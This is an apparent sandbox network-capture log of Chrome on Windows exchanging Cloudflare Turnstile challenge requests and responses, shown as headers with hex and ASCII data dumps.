2025-01-11 00:11:51 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 52 50 36 4d 4f 4e 72 74 4f 35 63 71 32 65 4b 64 71 36 52 44 56 65 57 53 5f 74 50 30 63 6d 61 4e 75 63 43 54 49 32 66 72 43 78 41 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gRP6MONrtO5cq2eKdq6RDVeWS_tP0cmaNucCTI2frCxAAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-01-11 00:11:51 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49736	104.18.94.41	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:52 UTC	782	OUT	GET /cdn-cgi/challenge-platform/h/b/i/9000b10cedac7ca5/1736554310302/ptvNCVsTR_Rh4zI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/fz20s/0x4AAAAAAA2JzGXKKKPcEUX8/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:52 UTC	200	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:11:52 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 9000b1244c6b4264-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 00:11:52 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0d 00 00 00 04 08 02 00 00 00 da 86 22 e3 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR"IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49737	104.18.95.41	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:52 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/9000b10cedac7ca5/1736554310302/ptvNCVsTR_Rh4zI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:53 UTC	200	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:11:52 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 9000b1280a700f46-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 00:11:53 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0d 00 00 00 04 08 02 00 00 00 da 86 22 e3 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR"IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49738	104.18.94.41	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:53 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1921554275:1736550971:TnKaT0jV5lW68YgIRWBM59VimwZRNfMAiHkCbpeYMCA/9000b10cedac7ca5/QbZYUCWOFfMfFxI3Mt8G1cwyQLXSnKGTnakASwcg.JA-1736554308-1.1.1.1-VXNA4hLUU9q6KhuXHbb69OtNPBizZZ3ZliWAALbWqfVBqImc5bjGuYSCmFb_NI.u HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32336 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: QbZYUCWOFfMfFxI3Mt8G1cwyQLXSnKGTnakASwcg.JA-1736554308-1.1.1.1-VXNA4hLUU9q6KhuXHbb69OtNPBizZZ3ZliWAALbWqfVBqImc5bjGuYSCmFb_NI.u sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/fz20s/0x4AAAAAAA2JzGXKKKPcEUX8/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:53 UTC	16384	OUT	Data Raw: 76 5f 39 30 30 30 62 31 30 63 65 64 61 63 37 63 61 35 3d 68 4e 72 76 67 57 59 7a 2d 6d 4e 37 4e 37 71 4e 59 49 59 6d 6b 55 6a 7a 59 44 37 46 37 77 37 74 31 59 64 37 4f 76 6d 72 57 35 6d 37 71 76 44 6f 5a 6f 31 59 56 72 37 68 57 37 57 31 48 35 37 4e 4b 76 57 4b 6e 74 37 30 4e 59 4d 74 44 6f 6f 4e 37 6a 76 49 7a 37 6a 59 43 36 37 39 37 31 4f 2d 57 72 36 45 50 58 55 7a 37 58 76 49 36 37 7a 76 33 58 62 36 37 6d 63 7a 37 6d 76 33 6b 37 6c 76 6a 58 71 71 49 37 37 31 2d 37 70 4f 37 37 70 6d 6b 7a 37 7a 65 63 37 57 6f 36 48 4f 71 7a 32 70 37 59 65 37 71 4e 63 43 64 43 31 76 37 36 32 37 6f 48 55 39 57 36 31 37 74 68 56 70 67 6e 73 59 57 36 4e 37 49 6d 76 56 55 4f 54 55 36 72 31 6d 4f 6f 44 41 6d 77 43 76 49 71 6f 6f 38 49 35 35 47 38 74 39 72 64 32 55 68 77 75 63 Data Ascii: v_9000b10cedac7ca5=hNrvgWYz-mN7N7qNYIYmkUjzYD7F7w7t1Yd7OvmrW5m7qvDoZo1YVr7hW7W1H57NKvWKnt70NYMtDooN7jvIz7jYC67971O-Wr6EPXUz7XvI67zv3Xb67mcz7mv3k7lvjXqqI771-7pO77pmkz7zec7Wo6HOqz2p7Ye7qNcCdC1v7627oHU9W617thVpgnsYW6N7ImvVUOTU6r1mOoDAmwCvIqoo8I55G8t9rd2Uhwuc
2025-01-11 00:11:53 UTC	15952	OUT	Data Raw: 48 7a 59 31 59 56 37 79 47 35 63 44 61 74 4a 33 70 34 79 37 45 76 4f 76 37 33 59 67 62 34 37 72 55 33 49 37 6c 49 4d 37 33 36 59 33 37 5a 55 37 4e 37 65 37 48 55 57 71 37 2d 37 41 37 49 6d 59 4d 37 57 63 57 76 37 70 37 49 37 74 32 58 46 37 49 37 6d 36 59 61 73 44 6d 6a 7a 59 4e 37 30 37 48 55 37 6d 37 6a 37 48 2b 24 57 37 6b 72 33 72 59 36 37 77 4a 75 7a 37 48 37 4f 76 59 76 59 33 36 50 76 49 49 59 77 37 49 37 6a 49 37 45 2d 6d 37 50 36 59 46 63 49 37 33 6b 59 65 37 4d 55 74 71 37 30 63 59 37 50 6d 59 77 37 33 37 50 72 37 4f 37 66 72 74 55 59 64 37 70 55 33 37 59 41 66 57 61 57 52 49 6d 37 74 55 37 6b 59 66 37 66 6f 36 50 62 2d 76 59 65 49 76 37 55 37 33 34 54 56 52 45 7a 49 4e 62 6e 59 55 37 41 69 71 6b 36 6d 37 64 67 35 4e 59 79 50 48 78 39 75 62 77 4e Data Ascii: HzY1YV7yG5cDatJ3p4y7EvOv73Ygb47rU3I7lIM736Y37ZU7N7e7HUWq7-7A7ImYM7WcWv7p7I7t2XF7I7m6YasDmjzYN707HU7m7j7H+$W7kr3rY67wJuz7H7OvYvY36PvIIYw7I7jI7E-m7P6YFcI73kYe7MUtq70cY7PmYw737Pr7O7frtUYd7pU37YAfWaWRIm7tU7kYf7fo6Pb-vYeIv7U734TVREzINbnYU7Aiqk6m7dg5NYyPHx9ubwN
2025-01-11 00:11:53 UTC	322	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 00:11:53 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26344 Connection: close cf-chl-gen: bH/2ZjNTPy1EUlCex8U18ixBpBzT2Z61tqH2ItPDIIUnF0Rf51HrsqpE/skxBKcs$1hrTfuy+jGMGmhes89S7FQ== Server: cloudflare CF-RAY: 9000b12afa8941f8-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 00:11:53 UTC	1047	IN	Data Raw: 6d 36 32 7a 76 71 79 55 78 4d 48 41 68 4c 79 41 76 35 6d 6e 75 37 71 75 69 4d 57 71 78 49 7a 4a 72 73 6a 53 6b 37 76 4d 76 62 69 35 6d 73 47 66 6e 4a 57 73 74 62 6a 42 30 74 57 36 36 75 32 6b 72 4f 58 6b 79 63 32 71 31 63 2f 4f 77 2b 66 52 30 39 61 38 74 73 2f 78 77 4e 62 7a 2b 38 45 48 41 51 48 37 31 51 6e 73 41 66 66 75 37 50 48 2b 2b 2b 58 38 39 52 54 56 7a 78 66 4d 44 4f 76 58 2b 41 76 37 38 42 73 4d 48 50 4d 47 42 4f 41 6f 41 67 58 6c 44 41 73 67 37 79 7a 72 43 69 34 58 4d 79 54 32 4f 76 63 35 47 43 62 33 47 68 73 67 50 79 30 2f 51 41 38 67 48 41 55 6c 41 30 4d 2b 54 44 6b 4d 48 55 38 69 44 46 51 50 4f 46 4d 56 4f 69 73 59 50 6a 31 56 4f 54 30 74 4f 46 59 37 48 6a 78 6d 50 47 78 58 54 45 63 6d 61 57 38 36 51 43 59 79 51 56 49 30 63 7a 6f 32 61 33 30 Data Ascii: m62zvqyUxMHAhLyAv5mnu7quiMWqxIzJrsjSk7vMvbi5msGfnJWstbjB0tW66u2krOXkyc2q1c/Ow+fR09a8ts/xwNbz+8EHAQH71QnsAffu7PH+++X89RTVzxfMDOvX+Av78BsMHPMGBOAoAgXlDAsg7yzrCi4XMyT2Ovc5GCb3GhsgPy0/QA8gHAUlA0M+TDkMHU8iDFQPOFMVOisYPj1VOT0tOFY7HjxmPGxXTEcmaW86QCYyQVI0czo2a30
2025-01-11 00:11:53 UTC	1369	IN	Data Raw: 67 6a 38 69 2b 74 4b 2f 4f 31 4d 33 5a 31 64 65 6e 7a 62 36 75 77 4c 50 62 6e 39 32 6e 6f 4d 54 57 34 63 44 71 79 39 71 77 79 39 2f 47 35 73 58 57 72 65 76 4b 72 4e 62 79 75 65 71 32 33 37 6e 42 32 74 57 2f 32 50 33 6d 43 41 72 55 34 63 72 6d 38 4e 33 51 7a 39 34 44 42 51 6f 4b 7a 2b 2f 73 35 64 51 52 41 41 76 37 43 75 38 6a 42 50 67 57 48 4f 55 49 42 53 41 58 44 7a 41 44 44 69 59 48 46 41 51 71 45 67 38 34 42 7a 55 6c 44 44 38 2f 48 7a 54 34 49 7a 41 6a 4f 68 46 4a 48 55 41 33 4a 41 67 5a 4b 77 35 4c 55 44 4d 67 4e 52 51 34 56 30 6f 71 4a 42 5a 63 55 42 6b 70 59 52 31 45 54 56 56 66 4e 6a 52 45 4b 55 46 58 58 47 74 4e 4f 47 74 4e 53 57 77 2b 64 6e 56 30 51 7a 64 79 66 44 6c 76 65 54 4a 4c 50 6c 68 56 51 6b 52 32 68 6c 71 41 58 45 78 61 5a 31 6c 47 62 58 Data Ascii: gj8i+tK/O1M3Z1denzb6uwLPbn92noMTW4cDqy9qwy9/G5sXWrevKrNbyueq237nB2tW/2P3mCArU4crm8N3Qz94DBQoKz+/s5dQRAAv7Cu8jBPgWHOUIBSAXDzADDiYHFAQqEg84BzUlDD8/HzT4IzAjOhFJHUA3JAgZKw5LUDMgNRQ4V0oqJBZcUBkpYR1ETVVfNjREKUFXXGtNOGtNSWw+dnV0QzdyfDlveTJLPlhVQkR2hlqAXExaZ1lGbX
2025-01-11 00:11:53 UTC	1369	IN	Data Raw: 7a 61 32 78 76 4a 66 63 6b 64 79 61 31 39 6d 67 74 4a 2f 46 32 37 61 33 36 63 76 48 70 73 66 48 79 63 6e 76 30 76 48 4a 36 4c 43 76 77 73 76 46 78 75 33 35 7a 4e 6a 4d 33 64 57 38 2b 4e 72 53 2b 76 76 70 35 4d 6a 71 42 4e 44 2b 42 67 49 4f 43 67 45 54 43 41 62 32 30 2f 66 74 36 51 7a 39 2f 50 54 62 49 2f 41 57 2b 67 51 6c 46 53 48 6e 49 2f 6e 74 49 43 59 73 41 78 41 33 37 43 48 32 42 53 51 76 48 69 73 2f 4e 79 6f 43 4e 6a 4d 6b 4f 6a 34 6d 4d 30 41 71 54 44 59 33 53 7a 41 74 52 55 39 46 4c 45 38 2f 56 30 31 45 55 44 46 48 53 53 34 74 4f 6b 78 61 55 56 59 6d 54 79 5a 59 57 55 45 2f 58 7a 74 76 5a 6d 6c 42 54 57 31 76 4c 55 46 77 52 56 56 38 56 6b 6b 34 61 56 45 7a 4f 56 5a 4f 64 6b 42 39 66 31 46 39 5a 47 52 6d 66 59 4b 4d 58 46 70 6d 58 57 70 68 6b 48 61 Data Ascii: za2xvJfckdya19mgtJ/F27a36cvHpsfHycnv0vHJ6LCvwsvFxu35zNjM3dW8+NrS+vvp5MjqBND+BgIOCgETCAb20/ft6Qz9/PTbI/AW+gQlFSHnI/ntICYsAxA37CH2BSQvHis/NyoCNjMkOj4mM0AqTDY3SzAtRU9FLE8/V01EUDFHSS4tOkxaUVYmTyZYWUE/XztvZmlBTW1vLUFwRVV8Vkk4aVEzOVZOdkB9f1F9ZGRmfYKMXFpmXWphkHa
2025-01-11 00:11:53 UTC	1369	IN	Data Raw: 62 4f 68 6e 36 2f 51 78 4b 54 69 75 4c 4b 6f 75 63 4c 75 34 75 72 51 78 64 4c 43 70 73 2f 78 38 75 37 49 32 38 6a 34 79 39 54 59 32 39 62 77 34 39 67 47 31 2f 36 2f 36 74 7a 65 34 38 30 47 37 75 66 49 32 39 2f 6d 34 52 55 5a 31 4f 51 46 38 39 6a 72 39 39 55 65 33 50 6e 79 42 64 2f 37 42 78 76 6e 33 50 58 73 2b 51 63 6a 35 68 37 74 42 77 59 66 4d 53 51 76 4e 51 38 6b 39 78 30 39 44 52 63 50 51 69 77 6c 4f 77 55 36 50 30 59 48 42 45 77 37 43 30 68 4a 4d 55 59 39 49 7a 39 4a 54 43 38 61 4c 53 34 63 56 46 30 35 50 57 42 4f 51 56 78 51 56 44 41 79 53 43 46 56 52 6d 46 43 51 56 4a 76 55 57 42 69 4c 45 74 78 4c 32 31 62 4f 7a 73 36 54 31 46 4d 51 46 78 78 59 6c 70 37 66 34 4a 30 52 49 43 45 66 33 65 4c 54 6d 46 6c 67 6b 74 4d 59 6f 32 45 6d 70 47 4f 6d 6e 6c 6e Data Ascii: bOhn6/QxKTiuLKoucLu4urQxdLCps/x8u7I28j4y9TY29bw49gG1/6/6tze480G7ufI29/m4RUZ1OQF89jr99Ue3PnyBd/7Bxvn3PXs+Qcj5h7tBwYfMSQvNQ8k9x09DRcPQiwlOwU6P0YHBEw7C0hJMUY9Iz9JTC8aLS4cVF05PWBOQVxQVDAySCFVRmFCQVJvUWBiLEtxL21bOzs6T1FMQFxxYlp7f4J0RICEf3eLTmFlgktMYo2EmpGOmnln
2025-01-11 00:11:53 UTC	1369	IN	Data Raw: 62 42 76 4e 50 70 36 61 69 34 32 61 61 6e 79 4f 54 4e 30 4b 76 74 38 2b 37 34 30 64 62 62 37 64 36 33 79 39 33 4f 30 4e 6e 65 2b 4e 54 59 35 74 62 6f 35 75 6e 67 35 67 73 49 2b 38 6f 51 30 4e 48 55 38 76 55 4f 35 39 6a 70 47 77 37 64 34 64 77 68 34 67 4d 46 48 76 58 32 44 43 33 36 4c 77 59 77 2f 75 7a 6f 2f 50 50 74 4f 41 51 6c 44 78 6f 4a 2b 76 77 38 43 43 38 38 4e 78 48 37 44 6b 63 35 42 7a 4d 34 4a 55 35 42 52 7a 67 6c 50 6b 6c 4d 51 45 38 34 4c 6a 64 55 55 56 41 39 57 46 64 51 4f 46 64 44 55 79 46 66 4a 43 46 6c 59 55 73 70 51 46 70 6c 58 79 70 64 57 32 78 55 61 44 52 76 4c 33 52 4c 57 54 68 30 54 33 78 56 64 55 43 45 65 48 65 41 59 55 52 33 52 59 42 32 67 6f 61 44 53 34 79 4a 58 6d 4b 50 65 49 53 54 68 5a 52 32 66 49 78 75 66 70 71 57 6d 6f 4b 68 6d Data Ascii: bBvNPp6ai42aanyOTN0Kvt8+740dbb7d63y93O0Nne+NTY5tbo5ung5gsI+8oQ0NHU8vUO59jpGw7d4dwh4gMFHvX2DC36LwYw/uzo/PPtOAQlDxoJ+vw8CC88NxH7Dkc5BzM4JU5BRzglPklMQE84LjdUUVA9WFdQOFdDUyFfJCFlYUspQFplXypdW2xUaDRvL3RLWTh0T3xVdUCEeHeAYUR3RYB2goaDS4yJXmKPeISThZR2fIxufpqWmoKhm
2025-01-11 00:11:53 UTC	1369	IN	Data Raw: 2b 33 64 33 63 77 50 48 50 33 64 4c 50 39 75 6e 4c 77 2f 4c 45 33 64 75 2f 39 4f 6d 38 32 2f 33 76 76 73 63 44 38 66 33 55 41 50 59 43 7a 2b 6a 36 34 65 41 56 35 76 50 7a 44 65 59 62 39 77 6e 73 48 2f 63 43 2f 76 33 33 4a 76 51 6d 33 68 6a 32 42 43 63 4b 2f 50 77 45 4a 77 41 6c 2f 43 51 56 37 78 6b 79 4a 51 55 33 50 68 33 33 50 7a 6b 65 45 53 46 42 4a 66 34 52 51 7a 51 71 48 45 41 72 4b 45 6f 36 49 6c 4e 4f 51 79 59 50 53 6b 55 6e 53 68 74 57 4b 7a 6b 73 56 53 39 6a 51 56 59 34 4d 46 38 78 53 6b 67 73 59 56 59 70 53 47 70 63 4b 7a 52 76 58 6d 70 42 62 47 4e 75 50 46 56 6e 54 6b 32 42 55 32 42 67 62 6c 53 47 51 33 5a 63 69 31 52 38 62 47 68 50 66 6d 4a 74 6a 6f 46 6e 59 58 69 51 65 70 75 4b 68 58 5a 74 62 59 36 44 6c 35 39 63 65 47 46 39 6c 70 4e 35 6f 34 Data Ascii: +3d3cwPHP3dLP9unLw/LE3du/9Om82/3vvscD8f3UAPYCz+j64eAV5vPzDeYb9wnsH/cC/v33JvQm3hj2BCcK/PwEJwAl/CQV7xkyJQU3Ph33PzkeESFBJf4RQzQqHEArKEo6IlNOQyYPSkUnShtWKzksVS9jQVY4MF8xSkgsYVYpSGpcKzRvXmpBbGNuPFVnTk2BU2BgblSGQ3Zci1R8bGhPfmJtjoFnYXiQepuKhXZtbY6Dl59ceGF9lpN5o4
2025-01-11 00:11:53 UTC	1369	IN	Data Raw: 34 63 4c 6d 77 2b 72 4a 36 74 50 71 7a 73 65 2b 39 39 44 79 79 2b 4c 56 42 73 4c 6c 32 41 72 4b 36 74 7a 2b 41 76 7a 68 45 76 4d 46 35 41 62 7a 42 2b 72 6a 30 67 6a 76 39 39 72 2b 37 76 7a 33 46 76 55 6d 34 68 54 35 47 75 59 6b 2f 43 37 71 49 77 50 37 36 69 49 47 4e 77 41 70 43 52 55 75 4b 67 34 5a 45 44 49 50 4d 78 51 32 46 53 45 51 4f 78 77 6b 43 7a 38 65 47 41 64 41 48 79 30 6b 4d 79 56 57 45 31 41 70 57 6a 68 4b 4c 54 6b 6f 54 44 46 6a 4d 46 45 31 56 31 70 58 4f 57 73 38 53 7a 38 35 4f 46 77 2f 54 43 74 67 53 46 46 41 5a 30 70 56 54 47 39 4f 66 30 78 7a 55 30 77 2f 66 46 5a 52 57 48 56 61 69 6b 4e 2b 58 6e 35 73 66 57 4e 64 68 6f 4e 6d 6c 6b 2b 45 61 6d 56 73 69 6d 74 34 56 35 42 30 66 58 43 51 63 35 64 30 6d 58 74 30 5a 34 74 39 69 4a 43 6f 67 62 4f Data Ascii: 4cLmw+rJ6tPqzse+99Dyy+LVBsLl2ArK6tz+AvzhEvMF5AbzB+rj0gjv99r+7vz3FvUm4hT5GuYk/C7qIwP76iIGNwApCRUuKg4ZEDIPMxQ2FSEQOxwkCz8eGAdAHy0kMyVWE1ApWjhKLTkoTDFjMFE1V1pXOWs8Sz85OFw/TCtgSFFAZ0pVTG9Of0xzU0w/fFZRWHVaikN+Xn5sfWNdhoNmlk+EamVsimt4V5B0fXCQc5d0mXt0Z4t9iJCogbO
2025-01-11 00:11:53 UTC	1369	IN	Data Raw: 37 72 76 31 2f 37 79 31 4e 4c 79 39 74 58 5a 76 66 58 47 34 2f 76 67 39 65 66 59 37 77 6a 73 46 41 50 76 36 77 66 33 45 50 58 31 43 2f 66 7a 44 77 41 59 2b 79 49 62 41 66 63 44 49 68 45 4b 39 41 6b 41 41 41 6a 75 4a 51 6a 72 2b 79 67 51 4e 79 6f 6c 43 67 55 63 2b 68 34 4a 48 52 51 55 48 41 4d 79 46 7a 63 36 43 52 67 2b 43 30 41 6f 54 30 4d 74 4a 67 6f 30 45 7a 4d 69 4c 53 59 77 45 6a 78 65 4e 7a 6c 41 57 44 78 69 57 7a 63 34 51 31 35 52 52 45 56 66 50 6a 78 68 58 6d 68 4d 50 47 74 69 52 31 4e 69 63 46 56 46 58 48 52 58 66 6e 64 50 56 46 39 6b 62 56 39 68 65 31 5a 59 66 6d 53 45 61 31 69 48 66 6d 4e 76 6b 6f 78 74 63 58 6d 42 64 6d 61 4b 69 48 53 4f 6c 34 35 7a 67 48 79 63 67 6e 4b 57 6c 49 43 62 6a 4b 53 4b 65 70 36 64 69 4b 4b 72 6f 6f 65 54 6c 4c 43 57 Data Ascii: 7rv1/7y1NLy9tXZvfXG4/vg9efY7wjsFAPv6wf3EPX1C/fzDwAY+yIbAfcDIhEK9AkAAAjuJQjr+ygQNyolCgUc+h4JHRQUHAMyFzc6CRg+C0AoT0MtJgo0EzMiLSYwEjxeNzlAWDxiWzc4Q15RREVfPjxhXmhMPGtiR1NicFVFXHRXfndPVF9kbV9he1ZYfmSEa1iHfmNvkoxtcXmBdmaKiHSOl45zgHycgnKWlICbjKSKep6diKKrooeTlLCW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49739	104.18.95.41	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:11:54 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1921554275:1736550971:TnKaT0jV5lW68YgIRWBM59VimwZRNfMAiHkCbpeYMCA/9000b10cedac7ca5/QbZYUCWOFfMfFxI3Mt8G1cwyQLXSnKGTnakASwcg.JA-1736554308-1.1.1.1-VXNA4hLUU9q6KhuXHbb69OtNPBizZZ3ZliWAALbWqfVBqImc5bjGuYSCmFb_NI.u HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:11:54 UTC	375	IN	HTTP/1.1 404 Not Found Date: Sat, 11 Jan 2025 00:11:54 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: T/wWTw/21CuA3lLUZSXCug==$xOAG+vCpgBet8RP8NXeI8w== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 9000b13038b46a59-EWR alt-svc: h3=":443"; ma=86400
2025-01-11 00:11:54 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49742	104.18.94.41	443	6688	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 00:12:46 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1921554275:1736550971:TnKaT0jV5lW68YgIRWBM59VimwZRNfMAiHkCbpeYMCA/9000b10cedac7ca5/QbZYUCWOFfMfFxI3Mt8G1cwyQLXSnKGTnakASwcg.JA-1736554308-1.1.1.1-VXNA4hLUU9q6KhuXHbb69OtNPBizZZ3ZliWAALbWqfVBqImc5bjGuYSCmFb_NI.u HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34778 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: QbZYUCWOFfMfFxI3Mt8G1cwyQLXSnKGTnakASwcg.JA-1736554308-1.1.1.1-VXNA4hLUU9q6KhuXHbb69OtNPBizZZ3ZliWAALbWqfVBqImc5bjGuYSCmFb_NI.u sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/fz20s/0x4AAAAAAA2JzGXKKKPcEUX8/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 00:12:46 UTC	16384	OUT	Data Raw: 76 5f 39 30 30 30 62 31 30 63 65 64 61 63 37 63 61 35 3d 68 4e 72 76 67 57 59 7a 2d 6d 4e 37 4e 37 71 4e 59 49 59 6d 6b 55 6a 7a 59 44 37 46 37 77 37 74 31 59 64 37 4f 76 6d 72 57 35 6d 37 71 76 44 6f 5a 6f 31 59 56 72 37 68 57 37 57 31 48 35 37 4e 4b 76 57 4b 6e 74 37 30 4e 59 4d 74 44 6f 6f 4e 37 6a 76 49 7a 37 6a 59 43 36 37 39 37 31 4f 2d 57 72 36 45 50 58 55 7a 37 58 76 49 36 37 7a 76 33 58 62 36 37 6d 63 7a 37 6d 76 33 6b 37 6c 76 6a 58 71 71 49 37 37 31 2d 37 70 4f 37 37 70 6d 6b 7a 37 7a 65 63 37 57 6f 36 48 4f 71 7a 32 70 37 59 65 37 71 4e 63 43 64 43 31 76 37 36 32 37 6f 48 55 39 57 36 31 37 74 68 56 70 67 6e 73 59 57 36 4e 37 49 6d 76 56 55 4f 54 55 36 72 31 6d 4f 6f 44 41 6d 77 43 76 49 71 6f 6f 38 49 35 35 47 38 74 39 72 64 32 55 68 77 75 63 Data Ascii: v_9000b10cedac7ca5=hNrvgWYz-mN7N7qNYIYmkUjzYD7F7w7t1Yd7OvmrW5m7qvDoZo1YVr7hW7W1H57NKvWKnt70NYMtDooN7jvIz7jYC67971O-Wr6EPXUz7XvI67zv3Xb67mcz7mv3k7lvjXqqI771-7pO77pmkz7zec7Wo6HOqz2p7Ye7qNcCdC1v7627oHU9W617thVpgnsYW6N7ImvVUOTU6r1mOoDAmwCvIqoo8I55G8t9rd2Uhwuc
